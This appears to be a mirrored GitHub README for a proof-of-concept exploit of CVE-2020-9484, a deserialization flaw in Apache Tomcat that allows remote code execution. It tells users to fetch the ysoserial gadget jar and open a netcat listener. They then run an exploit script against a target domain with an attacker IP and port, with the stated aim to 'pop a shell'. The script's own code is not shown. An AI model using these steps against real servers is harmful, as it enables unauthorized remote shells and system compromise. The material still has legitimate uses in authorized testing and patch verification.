CVE-2020-9484 PoC — Apache Tomcat 代码问题漏洞

Description

POC for CVE-2020-9484

介绍

# CVE-2020-9484
POC for CVE-2020-9484
<p align="center">
  <a href="https://github.com/VICXOR/CVE-2020-9484">
    <img src="https://i.imgur.com/xJDK1kL.png" alt="Logo" width="120" height="80">
  </a>

  <h3 align="center">POC for CVE-2020-9484</h3>

  <p align="center">
    Apache Tomcat RCE by deserialization (CVE-2020-9484) 
    <br />
    <a href="https://github.com/VICXOR/CVE-2020-9484/blob/master/README.md"><strong>Explore the docs »</strong></a>
    <br />
    <br />
  </p>
</p>
<!-- GETTING STARTED -->

## Getting Started
<p align="center">
1. Clone this repository, then you will be able to use CVE-2020-9484 and modify the source code if needed. <br>
2. Download <a href="https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar">ysoserial jar</a><br>
3. place both CVE-2020-9484 and ysoserial.jar in the same directory<br>
4. pop a shell!
</p>

<!-- USAGE EXAMPLES -->
## Usage
<p align="center">
A simple bash script has been written in order to streamline the usage of CVE-2020-9484.
<br>
 Upon Exploitation you will need to have a netcat listener ready
  
```sh
nc -lvnp $port
```

```sh
./CVE-2020-9484.sh domain attacker-ip attacker-port
```
  <br>
</p>
<p align="center"><img src="https://i.imgur.com/hnYe1ku.gif" alt="CVE-2020-9484"></p>

文件快照

备注